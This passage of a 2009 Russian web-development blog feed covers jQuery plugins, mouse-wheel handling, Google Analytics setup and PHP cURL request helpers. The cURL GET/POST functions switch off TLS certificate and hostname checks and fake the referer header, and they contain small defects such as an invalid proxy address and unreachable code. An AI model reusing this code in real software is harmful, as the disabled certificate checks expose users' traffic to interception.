</span><span style="color: #0000bb;">addHandler</span><span style="color: #007700;">(</span><span style="color: #0000bb;">window</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#8216;DOMMouseScroll&#8217;</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">wheel</span><span style="color: #007700;">);<br />
</span><span style="color: #ff8000;">/* Opera */<br />
</span><span style="color: #0000bb;">addHandler</span><span style="color: #007700;">(</span><span style="color: #0000bb;">window</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#8216;mousewheel&#8217;</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">wheel</span><span style="color: #007700;">);<br />
</span><span style="color: #ff8000;">/* IE */<br />
</span><span style="color: #0000bb;">addHandler</span><span style="color: #007700;">(</span><span style="color: #0000bb;">document</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #dd0000;">&#8216;mousewheel&#8217;</span><span style="color: #007700;">,<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">wheel</span><span style="color: #007700;">);<br />
</span><span style="color: #ff8000;">// Обработчик события<br />
</span><span style="color: #007700;">function<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">wheel</span><span style="color: #007700;">(</span><span style="color: #0000bb;">event</span><span style="color: #007700;">) {<br />
var<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">delta</span><span style="color: #007700;">;<span class="Apple-converted-space"> </span></span><span style="color: #ff8000;">// Направление скролла<br />
// -1 &#8212; скролл вниз<br />
// 1 &#8212; скролл вверх<br />
</span><span style="color: #0000bb;">event<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">event<span class="Apple-converted-space"> </span></span><span style="color: #007700;">||<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">window</span><span style="color: #007700;">.</span><span style="color: #0000bb;">event</span><span style="color: #007700;">;<br />
</span><span style="color: #ff8000;">// Opera и IE работают со свойством wheelDelta<br />
</span><span style="color: #007700;">if (</span><span style="color: #0000bb;">event</span><span style="color: #007700;">.</span><span style="color: #0000bb;">wheelDelta</span><span style="color: #007700;">) {<br />
</span><span style="color: #0000bb;">delta<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">event</span><span style="color: #007700;">.</span><span style="color: #0000bb;">wheelDelta<span class="Apple-converted-space"> </span></span><span style="color: #007700;">/<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">120</span><span style="color: #007700;">;<br />
</span><span style="color: #ff8000;">// В Опере значение wheelDelta такое же, но с противоположным знаком<br />
</span><span style="color: #007700;">if (</span><span style="color: #0000bb;">window</span><span style="color: #007700;">.</span><span style="color: #0000bb;">opera</span><span style="color: #007700;">)<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">delta<span class="Apple-converted-space"> </span></span><span style="color: #007700;">= -</span><span style="color: #0000bb;">delta</span><span style="color: #007700;">;<br />
</span><span style="color: #ff8000;">// В реализации Gecko получим свойство detail<br />
</span><span style="color: #007700;">} else if (</span><span style="color: #0000bb;">event</span><span style="color: #007700;">.</span><span style="color: #0000bb;">detail</span><span style="color: #007700;">) {<br />
</span><span style="color: #0000bb;">delta<span class="Apple-converted-space"> </span></span><span style="color: #007700;">= -</span><span style="color: #0000bb;">event</span><span style="color: #007700;">.</span><span style="color: #0000bb;">detail<span class="Apple-converted-space"> </span></span><span style="color: #007700;">/<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">3</span><span style="color: #007700;">;<br />
}<br />
</span><span style="color: #ff8000;">// Запрещаем обработку события браузером по умолчанию<br />
</span><span style="color: #007700;">if (</span><span style="color: #0000bb;">event</span><span style="color: #007700;">.</span><span style="color: #0000bb;">preventDefault</span><span style="color: #007700;">)<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">event</span><span style="color: #007700;">.</span><span style="color: #0000bb;">preventDefault</span><span style="color: #007700;">();<br />
</span><span style="color: #0000bb;">event</span><span style="color: #007700;">.</span><span style="color: #0000bb;">returnValue<span class="Apple-converted-space"> </span></span><span style="color: #007700;">=<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">false</span><span style="color: #007700;">;<br />
return<span class="Apple-converted-space"> </span></span><span style="color: #0000bb;">delta</span><span style="color: #007700;">;<br />
}</span></span></span></p>
<p><span class="Apple-style-span" style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span class="Apple-style-span" style="font-family: -webkit-monospace; font-size: 12px; text-align: left;"><span style="color: #007700;"><br />
</span></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/21/javascript-scroll-kak-otsledit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery png Fix</title>
		<link>http://saintist.ru/2009/05/21/jquery-png-fix/</link>
		<comments>http://saintist.ru/2009/05/21/jquery-png-fix/#comments</comments>
		<pubDate>Thu, 21 May 2009 16:34:21 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[fix]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[png]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=409</guid>
		<description><![CDATA[PNG-прозрачность для Windows IE 5.5 и 6 версий в исполнении jQuery. Простой скрипт, простая установка. Поддерживает фоновые изображения PNG с прозрачностью. Работает с PNG изображениями в ссылках. Поддерживает TITLE, ALT, CLASS и STYLE-атрибуты. Между тегами &#60;head&#62; и &#60;/head&#62; после подключения jquery добить cnhjre &#60;script type=&#187;text/javascript&#187; src=&#187;jquery.pngFix.js&#187;&#62;&#60;/script&#62; брать отсюда jquery.pngFix.js 4.8 Кб или упакованный jquery.pngFix.pack.js 2.5 [...]]]></description>
			<content:encoded><![CDATA[<p>PNG-прозрачность для Windows IE 5.5 и 6 версий в исполнении jQuery.</p>
<p>Простой скрипт, простая установка.<br />
Поддерживает фоновые  изображения PNG с прозрачностью.<br />
Работает с PNG изображениями в ссылках.<br />
Поддерживает TITLE, ALT, CLASS и STYLE-атрибуты.<br />
<span id="more-409"></span></p>
<p>Между тегами &lt;head&gt; и &lt;/head&gt; после подключения jquery добить  cnhjre</p>
<p>&lt;script type=&#187;text/javascript&#187; src=&#187;jquery.pngFix.js&#187;&gt;&lt;/script&gt;</p>
<p>брать отсюда <a href="/wp-content/uploads/2009/05/jquery.pngFix.js"> jquery.pngFix.js</a> 4.8 Кб</p>
<p>или упакованный <a href="/wp-content/uploads/2009/05/jquery.pngFix.pack.js">jquery.pngFix.pack.js</a> 2.5 Кб</p>
<p>Активируется  вот так</p>
<pre style="border: 1px solid #dddddd; margin: 0px 0px 20px; padding: 10px; font-size: 12px; line-height: 1.4em; background-color: #ffffee; white-space: pre-wrap;"><code class="javascript" style="margin: 0px; padding: 0px;">&lt;script type=<span class="string" style="margin: 0px; padding: 0px; color: teal;">"text/javascript"</span>&gt; <br style="margin: 0px; padding: 0px;" />    $(<span class="global" style="margin: 0px; padding: 0px; color: blue;">document</span>).ready(<span class="keywords" style="margin: 0px; padding: 0px; color: navy; font-weight: bold;">function</span>(){ <br style="margin: 0px; padding: 0px;" />        $(<span class="global" style="margin: 0px; padding: 0px; color: blue;">document</span>).pngFix(); <br style="margin: 0px; padding: 0px;" />    }); <br style="margin: 0px; padding: 0px;" />&lt;/script&gt;
</code></pre>
<p>К сожалению работает довольно коряво (.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/21/jquery-png-fix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery округлые углы</title>
		<link>http://saintist.ru/2009/05/21/jquery-okruglye-ugly/</link>
		<comments>http://saintist.ru/2009/05/21/jquery-okruglye-ugly/#comments</comments>
		<pubDate>Thu, 21 May 2009 11:40:45 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=404</guid>
		<description><![CDATA[Большинство и слышать не хочет о применении сриптов при верстке, мотивируя это тем, что любая верстка должна хорошо смотреться сама по себе,и это правильно, злоупотреблять js не нужно. Но есть исключения. Используем плагин к JQuery &#8212; curvyCorners. Закругляет углы он отлично, и работает независимо от фонового бэкграунда, и собственного фонового изображения. Подключаем все в head: [...]]]></description>
			<content:encoded><![CDATA[<p>Большинство  и слышать не хочет о применении сриптов при верстке, мотивируя это тем, что любая верстка должна хорошо смотреться сама по себе,и это правильно, злоупотреблять js не нужно. Но есть исключения.<br />
<span id="more-404"></span></p>
<p>Используем <a href="/wp-content/uploads/2009/05/jquery.curvycorners.zip">плагин к JQuery &#8212; curvyCorners</a>. Закругляет углы он отлично, и работает независимо от фонового бэкграунда, и собственного фонового изображения.</p>
<p>Подключаем все в head:</p>
<p><code><script type="text/javascript" src="jquery.min.js"></script><br />
<script type="text/javascript" src="jquery.curvycorners.min.js"></script></code></p>
<p><script type="text/javascript" src="jquery.js"></script><br />
<script type="text/javascript" src="jquery.curvycorners.min.js"></script></p>
<p>Lля того чтобы скруглить все четыре угла нужного нам блока, нужно определиться какой блок мы будем закруглять (в примере это блок с id=main) и написать следующее:</p>
<p><code>$(document).ready(function(){<br />
	$("#main").corner();<br />
});</code></p>
<p>Плагин поддерживает настройки,  если необходимо указать радиус каждого угла отдельно:</p>
<p><code>$(document).ready(function(){<br />
	$("#main")<br />
                 .corner({<br />
                       tl:{radius: 20},<br />
                       tr:{radius:20},<br />
                       bl:{radius: 0},<br />
                       br:{radius:0},<br />
                       antiAlias:false,<br />
                       autoPad: true<br />
	});<br />
});</code></p>
<p> <strong>tr</strong>, <strong>tl</strong>, <strong>bl</strong>, <strong>br </strong>- это соответствующие имена каждого из углов (top right, top left, bottom left, bottom right).</p>
<p>Свойство <strong>antiAlias </strong>- установленное в false  отключает сглаживание углов, делает их очертания более резкими, но в то же время значительно уменьшает время, загрузки страницы.</p>
<p>Свойство <strong>autoPad </strong>- также может принимать значения true и false, уставновленное в значение true, позволяет сохранить назначеныый через css паддинг, скругляемому блоку.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/21/jquery-okruglye-ugly/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>JQuery работа с селекторами. Немного юзабилити.</title>
		<link>http://saintist.ru/2009/05/21/jquery-rabota-s-selektorami-nemnogo-yuzabiliti/</link>
		<comments>http://saintist.ru/2009/05/21/jquery-rabota-s-selektorami-nemnogo-yuzabiliti/#comments</comments>
		<pubDate>Thu, 21 May 2009 11:28:39 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[Юзабилити]]></category>
		<category><![CDATA[select]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=402</guid>
		<description><![CDATA[Допустим у нас есть на странице ссылки трех видов первый вид ведет на другие страницы моего сайта второй на прикрепленные файлы третий на email Можно сделать небольшой ход, который сделает ссылки наглядными и позволит сразу определить по внешнему виду ссылки , ее цвету например, куда она ведет , не прописывая классы css для каждой ссылки, [...]]]></description>
			<content:encoded><![CDATA[<p>Допустим у нас есть на странице ссылки трех  видов</p>
<p>первый вид ведет на другие страницы моего сайта<br />
второй на прикрепленные файлы<br />
третий на email</p>
<p>Можно сделать небольшой ход,  который  сделает ссылки наглядными и позволит сразу определить по внешнему виду ссылки , ее цвету например, куда она ведет , не прописывая классы css для каждой ссылки, а воспользовавшись средствами   jQuery.<br />
<span id="more-402"></span></p>
<p>Берем все  ссылки ведущие на e-mail,составляем селектор, который бы искал все якорные элементы (a) с атрибутом href ([@href]), который начинается с mailto (^=”mailto:”). </p>
<p><code>$(document).ready(function(){<br />
	$('a[@href^="mailto:"]').addClass("mailto");<br />
});</code></p>
<p>Для выбора ссылок, ведущих например на pdf-файл, мы будем использовать знак $, указывающий на конец строки, так как нам нужно получить все элементы с атрибутом href, который заканчивается на .pdf:</p>
<p><code>$(document).ready(function(){<br />
     $('a[@href^="mailto:"]').addClass("mailto");<br />
     $('a[@href$=".pdf"]').addClass("pdflink");<br />
});</code></p>
<p>аналогично можно сделать для любого прикрепленно файла другого типа</p>
<p>А для получения всех ссылок, ведущих на другие страницы &#8212; т.е. на страницу допустим mysite.com &#8212; нужно использовать звездочку, с помощью которой мы сможем выбрать не только прямые ссылки на mysite.com, а вообще все в которых встречается строчка с адресом сайта:</p>
<p>в итоге</p>
<p><code>$(document).ready(function(){<br />
     $('a[@href^="mailto:"]').addClass("mailto");<br />
     $('a[@href$=".pdf"]').addClass("pdflink");<br />
     $('a[@href*="mysite.com"]').addClass("mysite");<br />
});</code></p>
<p>Для каждого типа соответственно необходимо задать класс css отвечающий за внешнее представление</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/21/jquery-rabota-s-selektorami-nemnogo-yuzabiliti/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Если нужно найти иконку</title>
		<link>http://saintist.ru/2009/05/21/find-icon-service/</link>
		<comments>http://saintist.ru/2009/05/21/find-icon-service/#comments</comments>
		<pubDate>Thu, 21 May 2009 10:21:08 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=397</guid>
		<description><![CDATA[Нашел отличный сервис поиска иконок, очень удобный интерфейс Если нужно найти иконку самое то. Сервис предназначен для легкого и удобного поиска иконок.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.iconfinder.net/"><img src="http://saintist.ru/wp-content/uploads/2009/05/logo-large.png" alt="icon finger" title="icon finger" width="376" height="153" class="alignnone size-full wp-image-398" /></a></p>
<p>Нашел  отличный сервис поиска иконок, очень удобный интерфейс<br />
<span id="more-397"></span></p>
<p>Если нужно найти иконку самое то.</p>
<p>Сервис предназначен для легкого и удобного поиска  иконок.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/21/find-icon-service/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Analytics</title>
		<link>http://saintist.ru/2009/05/21/google-analytics/</link>
		<comments>http://saintist.ru/2009/05/21/google-analytics/#comments</comments>
		<pubDate>Thu, 21 May 2009 06:20:18 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Google Analytics]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=385</guid>
		<description><![CDATA[Как настроить Google Analytics. В зависимости от структуры веб-страницы и необходимости сбора информации более тонкая настройка может оказаться довольно сложной, но для начала нескольких простых шагов! Как получить код Google Analytics, и куда его вставить? При открытии учетной записи Google Analytics в конце регистрации Google сам предлагает нужный код, который можно скопировать и вставить перед [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/google-analitics.png"><img class="size-full wp-image-386 aligncenter" title="google-analitics" src="http://saintist.ru/wp-content/uploads/2009/05/google-analitics.png" alt="google-analitics" width="184" height="37" /></a></p>
<p>Как настроить Google Analytics. В зависимости от структуры веб-страницы и необходимости сбора информации  более тонкая настройка может оказаться довольно сложной, но для начала  нескольких простых  шагов!<br />
<span id="more-385"></span></p>
<h2>Как получить код  Google Analytics,  и куда его вставить?</h2>
<p>При открытии учетной записи Google Analytics в конце регистрации Google сам предлагает нужный код, который можно скопировать и вставить перед закрывающимся тегом &lt;/body&gt; настранице которую вы выбрали для размещения кода.<br />
Если вы желаете найти его при повторных входах, в меню Profile (там, где указан адрес веб-страницы) выберите пункт Edit и затем справа вверху Check Status.</p>
<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/ga_setup.png"><img class="size-medium wp-image-387 aligncenter" title="ga_setup" src="http://saintist.ru/wp-content/uploads/2009/05/ga_setup-300x131.png" alt="ga_setup" width="300" height="131" /></a><br />
Доступ к этому коду имеют только пользователи со статусом администратора.</p>
<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/check-status.png"><img class="size-medium wp-image-388 aligncenter" title="check-status" src="http://saintist.ru/wp-content/uploads/2009/05/check-status-300x87.png" alt="check-status" width="300" height="87" /></a></p>
<p>После того, как код получен, его необходимо добавить непосредственно перед тегом . Это может быть просто, если на странице используется один элемент содержания (шаблон, тема), или сложно, если содержание страницы динамически изменяется. Ключевым словом здесь является веб-мастер, к которому стоит обратиться. И необходимо обязательно проверить, что код добавлен на каждую страницу &#8212; если нет кода, то нельзя собирать статистику.</p>
<h2>Зачем Google Analytics добавляется в конце HTML-кода страницы?</h2>
<p>По двум причинам:<br />
1. Страница быстрее загружается, так как перед загрузкой содержания нет необходимости обращения на серверы Google.<br />
2. Собирается более точная статистика, так как неполная или ошибочная загрузка страницы не учитывается в качестве полного и корректного ее просмотра (pageview).</p>
<h2>Как сообщить Google Analytics об вторичных поисковиках?</h2>
<p>Что мы имеем: Google Analytics не знает, например, поисковиков NETI и WWW. Это означает, что приходящий оттуда трафик регистрируется как ссылки (referring sites) и отсутствует информация, по каким ключевым словам страница была найдена на самом деле.</p>
<p>Для добавления в Google Analytics неизвестных поисковых систем есть следующие возможности:</p>
<p>Первый вариант &#8212; добавить специальный скрипт, выполняющий эту задачу :</p>
<p>&lt;script type=&#187;”text/javascript”&#187;&gt;</p>
<p>&lt;!&#8212; var gaJsHost = ((”https:” == document.location.protocol) ? “https://ssl.” : “http://www.”);</p>
<p>document.write(unescape(”%3Cscript src=’” + gaJsHost + “google-analytics.com/ga.js’</p>
<p>type=’text/javascript’%3E%3C/script%3E”)); // &#8212;&gt;</p>
<p>&lt;/script&gt;</p>
<p>Если ваша страница имеет значительную посещаемость то можно добавить на свой сервер скрипт <a href="/wp-content/uploads/2009/05/search_est.js">search_est.js</a>. Спасибо!</p>
<p>Второй вариант &#8212; добавить нужные поисковые системы прямо в код, распространяемый Google:</p>
<p>&lt;script type=&#187;”text/javascript”&#187;&gt;</p>
<p>&lt;!&#8212; var gaJsHost = ((”https:” == document.location.protocol) ? “https://ssl.” : “http://www.”);</p>
<p>document.write(unescape(”%3Cscript src=’” + gaJsHost + “google-analytics.com/ga.js’</p>
<p>type=’text/javascript’%3E%3C/script%3E”)); // &#8212;&gt;</p>
<p>&lt;/script&gt;</p>
<p>&lt;script type=&#187;”text/javascript”&#187;&gt;</p>
<p>&lt;!&#8212; var pageTracker = _gat._getTracker(”UA-XXXXXX-Y”);</p>
<p>pageTracker._addOrganic(”Neti”,”query”); pageTracker._addOrganic(”www.ee”,”query”);</p>
<p>pageTracker._addOrganic(”Delfi”,”q”); pageTracker._addOrganic(”Yammy”,”q”);</p>
<p>pageTracker._initData(); pageTracker._trackPageview(); // &#8212;&gt;</p>
<p>&lt;/script&gt;</p>
<p><strong>Какой вариант предпочесть?</strong></p>
<p>Рекомендуют первый вариант. Время от времени мы вносим в код необходимые изменения для его поддержания в актуальном состоянии.</p>
<p>В случае второго варианта вы можете сами выбрать конкретные поисковые системы, которые вы хотите добавить. Это в какой-то мере более быстрый метод, так как отсутствует необходимость общения с сервером на тему неизвестных поисковиков. В то же время этот способ не настолько всеобъемлющ, хотя никто не запрещает добавить, помимо приведенных в примере, дополнительные поисковые системы.</p>
<p>Для сбора безошибочной статистики следите, чтобы переносы строки в коде находились именно в тех местах, где они стоят в копируемом коде Google Analytics. Если перенос строки находится в неправильном месте, статистика не собирается.</p>
<p><strong>Как реализовать грамотно вставку скрипта google analytics?</strong></p>
<p>Если наличие этого скрипта требуется на всех страницах сайта, то разумнее вставлять его в код макета, который у вас используется для этих страниц. Если только на определенных страницах, то код можно добавить в шаблоны этих страниц. </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/21/google-analytics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CURL HTTPS GET POST отправка</title>
		<link>http://saintist.ru/2009/05/20/curl-https-get-post-otpravka/</link>
		<comments>http://saintist.ru/2009/05/20/curl-https-get-post-otpravka/#comments</comments>
		<pubDate>Wed, 20 May 2009 08:11:05 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[CURL]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=380</guid>
		<description><![CDATA[Функции для отправки GET и POST запросов через https Отправка GET function send_get($get_url,$coo,$refer) { // $get_url &#8212; куда отправить ,$coo- строка куков,$refer &#8212; якобы откуда пришли, некоторые проверяют $ch = curl_init(); // curl_setopt($ch, CURLOPT_PROXY, &#171;http://192.168.2.600:2323&#8243;); curl_setopt($ch, CURLOPT_URL, $get_url); curl_setopt($ch, CURLOPT_HEADER,1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_REFERER, $refer ); curl_setopt($ch, CURLOPT_COOKIE,$coo); [...]]]></description>
			<content:encoded><![CDATA[<p>Функции для отправки GET  и POST  запросов через  https<br />
<span id="more-380"></span></p>
<p><strong>Отправка GET</strong></p>
<p>function send_get($get_url,$coo,$refer)<br />
{<br />
// $get_url &#8212; куда отправить ,$coo- строка куков,$refer &#8212; якобы откуда пришли, некоторые проверяют<br />
$ch = curl_init();<br />
// curl_setopt($ch, CURLOPT_PROXY, &#171;http://192.168.2.600:2323&#8243;);<br />
curl_setopt($ch, CURLOPT_URL, $get_url);<br />
curl_setopt($ch, CURLOPT_HEADER,1);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br />
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<br />
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);<br />
curl_setopt($ch, CURLOPT_REFERER, $refer );<br />
curl_setopt($ch, CURLOPT_COOKIE,$coo);<br />
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);<br />
curl_setopt($ch, CURLOPT_USERAGENT, &#171;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)&#187;);<br />
curl_setopt($ch, CURLOPT_VERBOSE,1);<br />
return $data = curl_exec($ch);<br />
$type=curl_multi_getcontent($ch);<br />
}</p>
<p><strong>Отправка  POST</strong></p>
<p>function send_post($post_url,$post_data,$coo,$refer)<br />
{<br />
// $post_data &#8212; PAST  которые нужно отправить<br />
// $get_url &#8212; куда отправить ,$coo- строка куков,$refer &#8212; якобы откуда пришли, некоторые проверяют<br />
$ch = curl_init();<br />
//curl_setopt($ch, CURLOPT_PROXY, &#171;http://192.168.2.600:2323&#8243;);<br />
curl_setopt($ch, CURLOPT_URL, $post_url);<br />
curl_setopt($ch, CURLOPT_HEADER,1);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br />
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<br />
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);<br />
curl_setopt($ch, CURLOPT_REFERER, $refer );<br />
curl_setopt($ch, CURLOPT_COOKIE,$coo);<br />
curl_setopt($ch, CURLOPT_POST, true);<br />
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);<br />
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);<br />
curl_setopt($ch, CURLOPT_USERAGENT, &#171;Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)&#187;);<br />
curl_setopt($ch, CURLOPT_VERBOSE,1);<br />
echo $data = curl_exec($ch);<br />
$type=curl_multi_getcontent($ch);<br />
$coo=filter3($type);<br />
curl_close($ch);<br />
return $type;<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/20/curl-https-get-post-otpravka/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CURL  справка</title>
		<link>http://saintist.ru/2009/05/20/curl-spravka/</link>
		<comments>http://saintist.ru/2009/05/20/curl-spravka/#comments</comments>
		<pubDate>Wed, 20 May 2009 08:04:47 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[CURL]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=377</guid>
		<description><![CDATA[Небольшая справка по функциям CURL Функция устанавливает параметр, имеющий имя option, сессии CURL с именем ch, в значение value. Для возможных значений аргумента option, которые перечислены в следующем списке, соответствующее значение value должно указываться в виде целого числа: CURLOPT_INFILESIZE — установить ожидаемый размер получаемого файла при его загрузке на удаленный сервер. CURLOPT_VERBOSE — при ненулевом [...]]]></description>
			<content:encoded><![CDATA[<p>Небольшая справка по  функциям CURL<br />
<span id="more-377"></span><br />
Функция устанавливает параметр, имеющий имя option, сессии CURL с именем ch, в значение value.</p>
<p>Для возможных значений аргумента option, которые перечислены в следующем списке, соответствующее значение value должно указываться в виде целого числа:</p>
<p><strong>CURLOPT_INFILESIZE</strong> — установить ожидаемый размер получаемого файла при его загрузке на удаленный сервер.</p>
<p><strong>CURLOPT_VERBOSE </strong>— при ненулевом значении будет сообщаться все, что происходит во время сессии.</p>
<p><strong>CURLOPT_HEADER </strong>— при ненулевом значении заголовок будет включаться в содержимое вывода.</p>
<p><strong>CURLOPT_NOPROGRESS </strong>— при ненулевом значении блокируется отображение индикатора хода выполнения операций передачи. По умолчанию этот параметр установлен, и его следует изменять только для целей отладки.</p>
<p><strong>CURLOPT_NOBODY </strong>— при ненулевом значении содержимое тега BODY не будет включаться в вывод.</p>
<p><strong>CURLOPT_FAILONERROR </strong>— при ненулевом значении будет происходить обычное завершение сценария PHP, если будет получен код возврата HTTP со значением большим, чем 300. По умолчанию происходит нормальный возврат в сценарий с игнорированием кода, вызвавшего ошибку.</p>
<p><strong>CURLOPT_UPLOAD </strong>— при ненулевом значении происходит подготовка PHP для загрузки.</p>
<p><strong>CURLOPT_POST </strong>— при ненулевом значении PHP выполняет обычный метод HTTP POST. Тип POST будет иметь нормальный вид application/x-www- from-urlencoded.</p>
<p><strong>CURLOPT_FTPLISTONLY </strong>— при ненулевом значении PHP будет выводить имена файлов только в FTP.</p>
<p><strong>CURLOPT_FTPAPPEND </strong>— при ненулевом значении PHP будет осуществлять добавление в конец существующего удаленного FTP-файла, вместо его перезаписи.</p>
<p><strong>CURLOPT_NETRC </strong>— при ненулевом значении PHP будет просматривать файл ~./netrc в поисках имени пользователя и пароля для осуществления доступа к удаленному сайту.</p>
<p><strong>CURLOPT_FOLLOWLOCATION </strong>— при ненулевом значении переадресация будет проходить согласно HTTP-заголовкам Location.</p>
<p><strong>CURLOPT_PUT </strong>— при ненулевом значении файл отсылается методом HTTP PUT. Параметры файла CURLOPT_INFILE и CURLOPT_INFILESIZE также должны быть указаны.</p>
<p><strong>CURLOPT_MUTE </strong>— при ненулевом значении PHP будет исполнять функции CURL без дополнительного вывода.</p>
<p><strong>CURLOPT_TIMEOUT </strong>— позволяет передать целочисленный параметр, определяющий в секундах максимально допустимое время исполнения функций CURL.</p>
<p><strong>CURLOPT_LOW_SPEED_LIMIT </strong>— принимает целочисленный параметр, определяющий скорость передачи данных в байтах в секунду, которая будет использоваться для проверки установленного соединения. Сеанс прерывается, если превышается время максимально допустимого ожидания <strong>CURLOPT_ LOW_SPEED_TIME</strong>.</p>
<p><strong>CURLOPT_LOW_SPEED_TIME </strong>— принимает целочисленный параметр, определяющий максимальное время передачи данных в секундах, при скорости <strong>CURLOPT_ LOW_SPEED_LIMIT</strong>. При превышении этого времени PHP будет прерывать выполнение операции, рассматривая ее как недопустимо медленную.</p>
<p><strong>CURLOPT_RESUME_FROM </strong>— принимает целочисленный параметр, определяющий смещение в байтах, с которого должна начинаться передача.</p>
<p><strong>CURLOPT_SSLVERSION</strong> — принимает целочисленный параметр, определяющий используемую версию SSL. По умолчанию PHP будет пытаться самостоятельно определить версию, хотя в некоторых случаях ее следует устанавливать вручную.</p>
<p><strong>CURLOPT_TIMECONDITION </strong>— позволяет передать константный параметр, определяющий смысл параметра <strong>CURLOPT_TIMEVALUE</strong>. Можно использовать значение по умолчанию <strong>TIMECOND_IFMODSINCE</strong> или значение <strong>TIMECOND_ISUNMODSINCE</strong>.</p>
<p><strong>CURLOPT_TIMEVALUE </strong>— позволяет передать целочисленный параметр, содержащий значение времени в формате “<strong>UNIX-timestamp</strong>”. Это значение будет использоваться с учетом установки <strong>CURLOPT_TIMEVALUE</strong>.</p>
<p>Для следующих возможных значений аргумента option соответствующее значение value должно указываться в строковое значение.</p>
<p><strong>CURLOPT_URL</strong> — адрес URL, по которому отправляется запрос. Этот параметр также можно установить при вызове функции curl_init().</p>
<p><strong>CURLOPT_USERPWD</strong> — позволяет при подключении передавать строку в формате “[username]:[password]”.</p>
<p><strong>CURLOPT_PROXYUSERPWD </strong>— позволяет при подключении к HTTP-прокси передавать строку в формате “[username]:[password]”.</p>
<p><strong>CURLOPT_RANGE </strong>— заставляет передавать диапазон в формате “X-Y”, где значение X или Y может быть не указано. При использовании протокола HTTP возможна одновременная передача нескольких интервалов, разделенных запятыми.</p>
<p><strong>CURLOPT_POSTFIELDS </strong>— позволяет передавать полную строку данных, посылаемых методом HTTP POST.</p>
<p><strong>CURLOPT_REFERER </strong>— позволяет передавать строку, содержащую заголовок &#171;referer&#187;, используемый в запросах HTTP.</p>
